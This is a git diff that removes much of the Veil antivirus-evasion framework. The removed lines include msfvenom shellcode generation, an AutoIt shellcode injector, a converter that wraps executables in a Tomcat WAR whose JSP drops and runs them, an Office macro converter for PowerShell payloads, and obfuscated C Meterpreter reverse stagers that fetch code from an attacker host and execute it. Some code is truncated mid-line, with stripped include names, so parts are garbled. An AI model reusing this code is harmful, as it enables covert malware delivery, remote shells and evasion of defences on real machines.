/etc/veil/settings.py file - msfvenom_options = "" - if hasattr(settings, "MSFVENOM_OPTIONS"): - msfvenom_options = settings.MSFVENOM_OPTIONS - - # build out the msfvenom command - self.msfvenomCommand = "msfvenom " + msfvenom_options + " -p " + selected_payload - for option in self.msfvenom_options: - self.msfvenomCommand += " " + option - self.options.append(option) - if len(extra_msf_options) != 0: - self.msfvenomCommand += " " + " ".join(extra_msf_options) - self.msfvenomCommand += " -f c | tr -d \'\"\' | tr -d \'\\n\'" - return - - def generate(self, required_options=None): - """ - Based on the options set by menu() or SetPayload() - either returns the custom shellcode string or calls msfvenom - and returns the result. - - Returns the shellcode string for this object. - """ - - self.required_options = required_options - - # if the msfvenom command nor shellcode are set, revert to the - # interactive menu to set any options - if self.msfvenomCommand == "" and self.custom_shellcode == "": - self.menu() - - # return custom specified shellcode if it was set previously - if self.custom_shellcode != "": - return self.custom_shellcode - - elif self.invoke_ordnance: - ordnance_loop = True - Ordnance_object = ordnance_import.Tools() - while ordnance_loop: - Ordnance_object.tool_main_menu(invoked=True) - if Ordnance_object.final_shellcode != '': - self.payload_choice = Ordnance_object.selected_payload - self.shellcode_options = Ordnance_object.payload_options - ordnance_loop = False - return Ordnance_object.final_shellcode - - # generate the shellcode using msfvenom - else: - print(helpers.color("\n [*] Generating shellcode...")) - if self.msfvenomCommand == "": - print(helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)) - return None - else: - # Stript out extra characters, new lines, etc., just leave the shellcode. - # Tim Medin's patch for non-root non-Kali users - - msfvenom_shellcode = subprocess.check_output(settings.MSFVENOM_PATH + self.msfvenomCommand, shell=True) - self.shellcode_options = self.msfvenomCommand - msfvenom_shellcode = msfvenom_shellcode.decode('ascii') - self.msfvenomCommand = '' - - return msfvenom_shellcode[22:-1].strip() - - -def cli_msf_shellcode_gen(command_line_args): - # set variables for values for easier readability - msf_payload = command_line_args.msfvenom - ip = command_line_args.ip - port = command_line_args.port - - # Parse extra flags to be included in msfvenom command - extra_options = '' - if command_line_args.msfoptions is not None: - num_extra_options = command_line_args.msfoptions.split(' ') - for xtra_opt in num_extra_options: - if xtra_opt is not '': - if "=" not in xtra_opt: - print(helpers.color(" [!] Parameter not entered in correct syntax.\n", warning=True)) - sys.exit() - if "-" in xtra_opt.split('=')[0]: - final_opt = xtra_opt.split('=')[0] + "=" + xtra_opt.split('=')[1] - extra_options += ' ' + final_opt - else: - final_opt = xtra_opt.split('=')[0] + "=" + xtra_opt.split('=')[1] - extra_options += ' ' + final_opt - - # generate the msfvenom command - msf_command = settings.MSFVENOM_PATH + "msfvenom -p " + msf_payload + " " - msf_command += "LHOST=" + ip + " LPORT=" + str(port) - if extra_options != '': - msf_command += extra_options - # add final part to command to narrow down the msf output - msf_command += " -f c | tr -d \'\"\' | tr -d \'\\n\'" - - # Run the command and get output - msfvenom_shellcode = subprocess.check_output(msf_command, shell=True) - msfvenom_shellcode = msfvenom_shellcode.decode('ascii') - return msfvenom_shellcode[22:-1].strip() diff --git a/Tools/Evasion/evasion_common/tools/runw.orig.exe b/Tools/Evasion/evasion_common/tools/runw.orig.exe deleted file mode 100755 index 68b9419..0000000 Binary files a/Tools/Evasion/evasion_common/tools/runw.orig.exe and /dev/null differ diff --git a/Tools/Evasion/payloads/__init__.py b/Tools/Evasion/payloads/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/autoit/shellcode_inject/flat.py b/Tools/Evasion/payloads/autoit/shellcode_inject/flat.py deleted file mode 100644 index 5e08362..0000000 --- a/Tools/Evasion/payloads/autoit/shellcode_inject/flat.py +++ /dev/null @@ -1,88 +0,0 @@ -""" -AutoIT wrapper for shellcode injection - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.shortname = "Inline" - self.description = "VirtualAlloc pattern for shellcode injection" - self.language = "autoit" - self.rating = "Normal" - self.extension = "au3" - self.name = "AutoIt Flat Shellcode Injector" - self.path = "autoit/shellcode_inject/flat" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"] - } - - def generate(self): - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - - # get it in AutoITs format - Shellcode = "0x" + "".join(Shellcode.split("\\x")) - total_size = len(Shellcode) - - RandFuncName = evasion_helpers.randomString() - RandArgName = evasion_helpers.randomString() - RandASMVarName = evasion_helpers.randomString() - RandASMBufferName = evasion_helpers.randomString() - RandBinBufferName = evasion_helpers.randomString() - length_limit = 4000 - - # keep that pesky tray icon from appearing - payload_code = "#NoTrayIcon\n" - payload_code += RandFuncName + '(fileread("%WinDir%\\system32\\calc.exe"))\n' - payload_code += 'Func ' + RandFuncName + '($' + RandArgName + ')\n' - if total_size > length_limit: - all_lines = [Shellcode[i:i+length_limit] for i in range(0, len(Shellcode), length_limit)] - first_run = True - for line in all_lines: - if first_run: - payload_code += '\tLocal $' + RandASMVarName + '="' + line + '"\n' - first_run = False - else: - payload_code += '\t$' + RandASMVarName + ' = $' + RandASMVarName + ' & "' + line + '"\n' - else: - payload_code += '\tLocal $' + RandASMVarName + '="' + Shellcode + '"\n' - payload_code += '\tLocal $' + RandASMBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandASMVarName + ') & "]")\n' - payload_code += '\tLocal $' + RandBinBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandArgName + ') & "]")\n' - payload_code += '\tDllStructSetData($' + RandASMBufferName + ', 1, $' + RandASMVarName + ')\n' - payload_code += '\tDllStructSetData($' + RandBinBufferName + ', 1, $' + RandArgName + ')\n' - payload_code += '\tLocal $Ret = DllCall("user32.dll", "int", "CallWindowProc", "ptr", DllStructGetPtr($' + RandASMBufferName + '), "ptr", DllStructGetPtr($' + RandBinBufferName + '), "int", 0, "int", 0, "int", 0)\n' - payload_code += "EndFunc\n" - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/auxiliary/__init__.py b/Tools/Evasion/payloads/auxiliary/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/auxiliary/coldwar_wrapper.py b/Tools/Evasion/payloads/auxiliary/coldwar_wrapper.py deleted file mode 100644 index d00e49a..0000000 --- a/Tools/Evasion/payloads/auxiliary/coldwar_wrapper.py +++ /dev/null @@ -1,158 +0,0 @@ -""" -Auxiliary module that takes an executable file (.exe) and converts -it into a .war file, specifically for deploying against Tomcat. - -99% of the code came from the metasploit project and their war payload creation techniques - -Module built by @christruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from lib.common import helpers -from binascii import hexlify -import settings -import zipfile -import random -import string -import os -import sys - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "Auxiliary script which converts a .exe file to .war" - self.language = "python" - self.rating = "Normal" - self.extension = "war" - self.name = "Coldwar Wrapper" - self.path = "auxuliary/coldwar_wrapper" - self.cli_opts = cli_obj - self.payload_source_code = '' - - self.required_options = { - "ORIGINAL_EXE" : ["", "Path to a .exe file to convert to .war file"] #/usr/share/windows-binaries/nc.exe - } - - def generate(self): - - # Set up all our variables - var_hexpath = evasion_helpers.randomString() - var_exepath = evasion_helpers.randomString() - var_data = evasion_helpers.randomString() - var_inputstream = evasion_helpers.randomString() - var_outputstream = evasion_helpers.randomString() - var_numbytes = evasion_helpers.randomString() - var_bytearray = evasion_helpers.randomString() - var_bytes = evasion_helpers.randomString() - var_counter = evasion_helpers.randomString() - var_char1 = evasion_helpers.randomString() - var_char2 = evasion_helpers.randomString() - var_comb = evasion_helpers.randomString() - var_exe = evasion_helpers.randomString() - var_hexfile = evasion_helpers.randomString() - var_proc = evasion_helpers.randomString() - var_name = evasion_helpers.randomString() - var_payload = evasion_helpers.randomString() - random_war_name = evasion_helpers.randomString() - - # Variables for path to our executable input and war output - ORIGINAL_EXE = self.required_options["ORIGINAL_EXE"][0] - war_file = settings.PAYLOAD_COMPILED_PATH + random_war_name + ".war" - - try: - # read in the executable - with open(ORIGINAL_EXE, 'rb') as orig_binary: - raw = orig_binary.read() - - txt_exe = hexlify(raw) - txt_payload_file = open(var_hexfile + ".txt", 'wb') - txt_payload_file.write(txt_exe) - txt_payload_file.close() - except IOError: - print(helpers.color("\n [!] ORIGINAL_EXE file \"" + ORIGINAL_EXE + "\" not found\n", warning=True)) - return "" - - # Set up our JSP files used for triggering the payload within the war file - jsp_payload = "<%@ page import=\"java.io.*\" %>\n" - jsp_payload += "<%\n" - jsp_payload += "String " + var_hexpath + " = application.getRealPath(\"/\") + \"" + var_hexfile + ".txt\";\n" - jsp_payload += "String " + var_exepath + " = System.getProperty(\"java.io.tmpdir\") + \"/" + var_exe + "\";\n" - jsp_payload += "String " + var_data + " = \"\";\n" - jsp_payload += "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" - jsp_payload += var_exepath + " = " + var_exepath + ".concat(\".exe\");\n" - jsp_payload += "}\n" - jsp_payload += "FileInputStream " + var_inputstream + " = new FileInputStream(" + var_hexpath + ");\n" - jsp_payload += "FileOutputStream " + var_outputstream + " = new FileOutputStream(" + var_exepath + ");\n" - jsp_payload += "int " + var_numbytes + " = " + var_inputstream + ".available();\n" - jsp_payload += "byte " + var_bytearray + "[] = new byte[" + var_numbytes + "];\n" - jsp_payload += var_inputstream + ".read(" + var_bytearray + ");\n" - jsp_payload += var_inputstream + ".close();\n" - jsp_payload += "byte[] " + var_bytes + " = new byte[" + var_numbytes + "/2];\n" - jsp_payload += "for (int " + var_counter + " = 0; " + var_counter + " < " + var_numbytes + "; " + var_counter + " += 2)\n" - jsp_payload += "{\n" - jsp_payload += "char " + var_char1 + " = (char) " + var_bytearray + "[" + var_counter + "];\n" - jsp_payload += "char " + var_char2 + " = (char) " + var_bytearray + "[" + var_counter+ " + 1];\n" - jsp_payload += "int " + var_comb + " = Character.digit(" + var_char1 + ", 16) & 0xff;\n" - jsp_payload += var_comb + " <<= 4;\n" - jsp_payload += var_comb + " += Character.digit(" + var_char2 + ", 16) & 0xff;\n" - jsp_payload += var_bytes + "[" + var_counter + "/2] = (byte)" + var_comb + ";\n" - jsp_payload += "}\n" - jsp_payload += var_outputstream + ".write(" + var_bytes + ");\n" - jsp_payload += var_outputstream + ".close();\n" - jsp_payload += "Process " + var_proc + " = Runtime.getRuntime().exec(" + var_exepath + ");\n" - jsp_payload += "%>\n" - - # Write out the jsp code to file - with open(var_payload + ".jsp", 'w') as jsp_file_out: - jsp_file_out.write(jsp_payload) - - # MANIFEST.MF file contents, and write it out to disk - manifest_file = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" - with open("MANIFEST.MF", 'w') as man_file: - man_file.write(manifest_file) - - # web.xml file contents - web_xml_contents = "\n" - web_xml_contents += "\n" - web_xml_contents += "\n" - web_xml_contents += "\n" - web_xml_contents += "" + var_name + "\n" - web_xml_contents += "/" + var_payload + ".jsp\n" - web_xml_contents += "\n" - web_xml_contents += "\n" - - # Write the web.xml file to disk - with open("web.xml", 'w') as xml_file: - xml_file.write(web_xml_contents) - - # Create the directories needed for the war file, and move the needed files into them - os.system("mkdir -p META-INF") - os.system("mkdir -p WEB-INF") - os.system("mv -f web.xml WEB-INF/") - os.system("mv -f MANIFEST.MF META-INF/") - - # Make the war file by zipping everything together - myZipFile = zipfile.ZipFile(war_file, 'w') - myZipFile.write(var_payload + ".jsp", var_payload + ".jsp", zipfile.ZIP_DEFLATED) - myZipFile.write(var_hexfile + ".txt", var_hexfile + ".txt", zipfile.ZIP_DEFLATED) - myZipFile.write("META-INF/MANIFEST.MF", "META-INF/MANIFEST.MF", zipfile.ZIP_DEFLATED) - myZipFile.write("WEB-INF/web.xml", "WEB-INF/web.xml", zipfile.ZIP_DEFLATED) - myZipFile.close() - - with open(war_file, 'rb') as f: - payload_code = f.read() - - # Clean up the individual files, you can always unzip the war to see them again - os.system("rm -rf WEB-INF") - os.system("rm -rf META-INF") - os.system("rm -f " + var_payload + ".jsp") - os.system("rm -f " + var_hexfile + ".txt") - os.system("rm -f " + war_file) - - # Return - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/auxiliary/macro_converter.py b/Tools/Evasion/payloads/auxiliary/macro_converter.py deleted file mode 100644 index 1781321..0000000 --- a/Tools/Evasion/payloads/auxiliary/macro_converter.py +++ /dev/null @@ -1,101 +0,0 @@ -""" -This module is designed to take a windows powershell batch script made by -Veil-Evasion powershell/virtual module and convert it to a macro - -Module built by @christruncer but original conversion code was developed by khr040sh. -Blog post available at: - https://khr0x40sh.wordpress.com/2014/06/02/embedding-veil-powershell-payloads-into-office-documents/ -""" - -from lib.common import helpers - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "Auxiliary script which converts Veil's powershell batch script to macro code" - self.language = "powershell" - self.rating = "Normal" - self.extension = "txt" - self.name = "Macro Converter" - self.path = "auxuliary/macro_converter" - self.cli_opts = cli_obj - self.payload_source_code = '' - - self.required_options = { - "POSH_BATCH": ["", "Path to a powershell batch script"], - "ARCHITECTURE": ["x86", "x86 or x64"] - } - - def generate(self): - - # Variables for path to our executable input and war output - orig_posh_batch = self.required_options["POSH_BATCH"][0] - - try: - # read in the executable - with open(orig_posh_batch, 'r') as bat_file: - batch_lines = bat_file.readlines() - - except IOError: - print(helpers.color("\n [!] Powershell Script \"" + orig_posh_batch + "\" not found\n", warning=True)) - return "" - - cut = [] - - for line in batch_lines: - if "@echo off" not in line: - first = line.split('else') - # split on else to truncate the back half - - # split on \" - cut = first[0].split('\\"', 4) - - # get rid of everything before powershell - cut[0] = cut[0].split('%==x86')[1] - cut[0] = cut[0][2:] - - # get rid of trailing parenthesis - cut[2] = cut[2].strip(" ") - cut[2] = cut[2][:-1] - - top = "Sub Workbook_Open()\r\n" - top = top + "Dim str As String\r\n" - top = top + "Dim exec As String\r\n" - - # insert '\r\n' and 'str = str +' every 48 chars after the first 54. - payL = self.formStr("str", str(cut[1])) - - # double up double quotes, add the rest of the exec string - idx = cut[0].index('"') - cut[0] = cut[0][:idx] + '"' + cut[0][idx:] - cut[0] = cut[0] + "\\\"\" \" & str & \" \\\"\" " + cut[2] +"\"" - execStr = self.formStr("exec", str(cut[0])) - - shell = "Shell(exec)" - bottom = "End Sub\r\n\r\n" - - PayloadCode = '' - PayloadCode = top + "\r\n" + payL + "\r\n\r\n" + execStr + "\r\n\r\n" + shell + "\r\n\r\n" + bottom + "\r\n" - - # Return - self.payload_source_code = PayloadCode - return - - def formStr(self, varstr, instr): - holder = [] - str1 = '' - str2 = '' - print(self.required_options['ARCHITECTURE']) - if varstr == "exec" and self.required_options['ARCHITECTURE'][0] == "x64": - str1 = varstr + ' = "C:\\Windows\\syswow64\\windowspowershell\\v1.0\\' + instr[:54] + '"' - else: - str1 = varstr + ' = "' + instr[:54] + '"' - for i in range(54, len(instr), 48): - holder.append(varstr + ' = ' + varstr +' + "' + instr[i:i+48]) - str2 = '"\r\n'.join(holder) - - str2 = str2 + "\"" - str1 = str1 + "\r\n" + str2 - return str1 diff --git a/Tools/Evasion/payloads/auxiliary/pyinstaller_wrapper.py b/Tools/Evasion/payloads/auxiliary/pyinstaller_wrapper.py deleted file mode 100644 index ba4fe53..0000000 --- a/Tools/Evasion/payloads/auxiliary/pyinstaller_wrapper.py +++ /dev/null @@ -1,51 +0,0 @@ -""" -Simple auxiliary module that will take a specified python source -file and compile it to an executable using Pyinstaller. - -Module built by @harmj0y -""" - -from lib.common import helpers -from tools.evasion.evasion_common import encryption - - -class PayloadModule: - - def __init__(self, cli_obj): - - # required options - self.description = "Auxiliary pyinstaller wrapper for python source files" - self.language = "python" - self.rating = "Normal" - self.extension = "py" - self.name = "PyInstaller Wrapper" - self.path = "auxuliary/pyinstaller_wrapper" - self.cli_opts = cli_obj - self.payload_source_code = '' - - self.required_options = { - "PYTHON_SOURCE" : ["", "A Python source file to compile with pyinstaller"], # /path/to/any/python/file.py - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"] - } - - def generate(self): - - PYTHON_SOURCE = self.required_options["PYTHON_SOURCE"][0] - - try: - # read in the python source - with open(PYTHON_SOURCE, 'r') as f: - payload_code = f.read() - - except IOError: - print(helpers.color("\n [!] PYTHON_SOURCE file \"" + PYTHON_SOURCE + "\" not found\n", warning=True)) - return "" - - # example of how to check the internal options - if self.required_options["USE_PYHERION"][0].lower() == "y": - payload_code = encryption.pyherion(payload_code) - - # return everything - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/c/.gitignore b/Tools/Evasion/payloads/c/.gitignore deleted file mode 100644 index 0d20b64..0000000 --- a/Tools/Evasion/payloads/c/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.pyc diff --git a/Tools/Evasion/payloads/c/__init__.py b/Tools/Evasion/payloads/c/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/c/meterpreter/__init__.py b/Tools/Evasion/payloads/c/meterpreter/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/c/meterpreter/rev_http.py b/Tools/Evasion/payloads/c/meterpreter/rev_http.py deleted file mode 100644 index d1823fd..0000000 --- a/Tools/Evasion/payloads/c/meterpreter/rev_http.py +++ /dev/null @@ -1,239 +0,0 @@ -""" -Obfuscated, pure C windows/meterpreter/reverse_http - -Implements various randomized string processing functions in an -attempt to obfuscate the call tree. -Also compatible with Cobalt-Strike's Beacon. - -Original reverse_tcp inspiration from: - https://github.com/rsmudge/metasploit-loader - -Module built by @harmj0y -""" - -import random -from tools.evasion.evasion_common import evasion_helpers - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.shortname = "meter_rev_http" - self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" - self.language = "c" - self.extension = "c" - self.rating = "Excellent" - self.name = "Pure C Reverse HTTP Stager" - self.path = "c/meterpreter/rev_http" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8080", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"] - } - - def generate(self): - - sumvalue_name = evasion_helpers.randomString() - checksum_name = evasion_helpers.randomString() - winsock_init_name = evasion_helpers.randomString() - punt_name = evasion_helpers.randomString() - wsconnect_name = evasion_helpers.randomString() - - # the real includes needed - includes = [ "#include " , "#include ", "#include ", "#include ", "#include "] - - # max length string for obfuscation - global_max_string_length = 10000 - max_string_length = random.randint(100,global_max_string_length) - max_num_strings = 10000 - - # TODO: add in more string processing functions - randName1 = evasion_helpers.randomString() # reverse() - randName2 = evasion_helpers.randomString() # doubles characters - stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", - "#include ", "#include "] - for x in range(1, random.randint(1,7)): - includes.append(fake_includes[x]) - - # shuffle up real/fake includes - random.shuffle(includes) - - code = "#define _WIN32_WINNT 0x0500\n" - code += "#include \n" - code += "\n".join(includes) + "\n" - - #string mod functions - code += stringModFunctions[0][1] + "\n" - code += stringModFunctions[1][1] + "\n" - - # build the sumValue function - string_arg_name = evasion_helpers.randomString() - retval_name = evasion_helpers.randomString() - code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) - code += "int %s=0; int i;" %(retval_name) - code += "for (i=0; i" , "#include ", "#include ", "#include ", "#include "] - - # max length string for obfuscation - global_max_string_length = 10000 - max_string_length = random.randint(100,global_max_string_length) - max_num_strings = 10000 - - # TODO: add in more string processing functions - randName1 = evasion_helpers.randomString() # reverse() - randName2 = evasion_helpers.randomString() # doubles characters - stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", - "#include ", "#include "] - for x in range(1, random.randint(1,7)): - includes.append(fake_includes[x]) - - # shuffle up real/fake includes - random.shuffle(includes) - - code = "#define _WIN32_WINNT 0x0500\n" - code += "#include \n" - code += "\n".join(includes) + "\n" - - #real - service related headers (check the stub) - hStatusName = evasion_helpers.randomString() - serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] - random.shuffle(serviceHeaders) - - code += "\n".join(serviceHeaders) - - #string mod functions - code += stringModFunctions[0][1] + "\n" - code += stringModFunctions[1][1] + "\n" - - # build the sumValue function - string_arg_name = evasion_helpers.randomString() - retval_name = evasion_helpers.randomString() - code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) - code += "int %s=0; int i;" %(retval_name) - code += "for (i=0; i" , "#include ", "#include ", "#include "] - - # max length string for obfuscation - global_max_string_length = 10000 - max_string_length = random.randint(100,global_max_string_length) - max_num_strings = 10000 - - # TODO: add in more string processing functions - randName1 = evasion_helpers.randomString() # reverse() - randName2 = evasion_helpers.randomString() # doubles characters - stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", - "#include ", "#include "] - for x in range(1, random.randint(1,7)): - includes.append(fake_includes[x]) - - # shuffle up real/fake includes - random.shuffle(includes) - - code = "#define _WIN32_WINNT 0x0500\n" - code += "#include \n" - code += "\n".join(includes) + "\n" - - #string mod functions - code += stringModFunctions[0][1] + "\n" - code += stringModFunctions[1][1] + "\n" - - # build the winsock_init function - wVersionRequested_name = evasion_helpers.randomString() - wsaData_name = evasion_helpers.randomString() - code += "void %s() {" % (winsock_init_name) - code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, evasion_helpers.obfuscateNum(2,4), evasion_helpers.obfuscateNum(2,4), wsaData_name) - code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) - - # first logical nop string function - code += stringGenFunctions[0][1] + "\n" - - # build punt function - my_socket_name = evasion_helpers.randomString() - code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) - code += "closesocket(%s);" %(my_socket_name) - code += "WSACleanup();" - code += "exit(1);}\n" - - # second logical nop string function - code += stringGenFunctions[1][1] + "\n" - - # build recv_all function - my_socket_name = evasion_helpers.randomString() - buffer_name = evasion_helpers.randomString() - len_name = evasion_helpers.randomString() - code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) - code += "int slfkmklsDSA=0;int rcAmwSVM=0;" - code += "void * startb = %s;" %(buffer_name) - code += "while (rcAmwSVM < %s) {" %(len_name) - code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) - code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" - code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) - - # third logical nop string function - code += stringGenFunctions[2][1] + "\n" - - # build wsconnect function - target_name = evasion_helpers.randomString() - sock_name = evasion_helpers.randomString() - my_socket_name = evasion_helpers.randomString() - code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) - code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) - code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); - code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) - code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) - code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) - code += "%s.sin_family = AF_INET;" %(sock_name) - code += "%s.sin_port = htons(%s);" %(sock_name, evasion_helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) - code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) - code += "return %s;}\n" %(my_socket_name) - - # build main() code - size_name = evasion_helpers.randomString() - buffer_name = evasion_helpers.randomString() - function_name = evasion_helpers.randomString() - my_socket_name = evasion_helpers.randomString() - count_name = evasion_helpers.randomString() - - # obfuscation stuff - char_array_name_1 = evasion_helpers.randomString() - number_of_strings_1 = random.randint(1,max_num_strings) - char_array_name_2 = evasion_helpers.randomString() - number_of_strings_2 = random.randint(1,max_num_strings) - char_array_name_3 = evasion_helpers.randomString() - number_of_strings_3 = random.randint(1,max_num_strings) - - code += "int main(int argc, char * argv[]) {" - code += "ShowWindow( GetConsoleWindow(), SW_HIDE );" - code += "ULONG32 %s;" %(size_name) - code += "char * %s;" %(buffer_name) - code += "int i;" - code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) - code += "void (*%s)();" %(function_name) - - # malloc our first string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) - - code += "%s();" %(winsock_init_name) - code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) - code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) - - # malloc our second string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) - - code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4,2)) - code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, evasion_helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) - - code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, evasion_helpers.obfuscateNum(5,2)) - code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) - - # first string obfuscation method - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) - - # real code - code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) - code += "%s[0] = 0xBF;" %(buffer_name) - code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4,2)) - - # malloc our third string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) - - # second string obfuscation method - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) - - # real code - code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5,2), size_name) - code += "%s = (void (*)())%s;" %(function_name, buffer_name) - code += "%s();" %(function_name) - - # third string obfuscation method (never called) - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) - - code += "return 0;}\n" - - self.payload_source_code = code - return diff --git a/Tools/Evasion/payloads/c/meterpreter/rev_tcp_service.py b/Tools/Evasion/payloads/c/meterpreter/rev_tcp_service.py deleted file mode 100644 index a98e2d0..0000000 --- a/Tools/Evasion/payloads/c/meterpreter/rev_tcp_service.py +++ /dev/null @@ -1,291 +0,0 @@ -""" -Obfuscated, pure C windows/meterpreter/reverse_tcp service - -Compatible with psexec - -Implements various randomized string processing functions in an -attempt to obfuscate the call tree. - -Inspiration from: - https://github.com/rsmudge/metasploit-loader - -Module built by @harmj0y -""" - -import random -from tools.evasion.evasion_common import evasion_helpers - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp windows service stager compatible with psexec, no shellcode" - self.language = "c" - self.extension = "c" - self.rating = "Excellent" - self.name = "C Reverse TCP Service" - self.path = "c/meterpreter/rev_tcp_service" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["4444", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"] - } - - def generate(self): - - winsock_init_name = evasion_helpers.randomString() - punt_name = evasion_helpers.randomString() - recv_all_name = 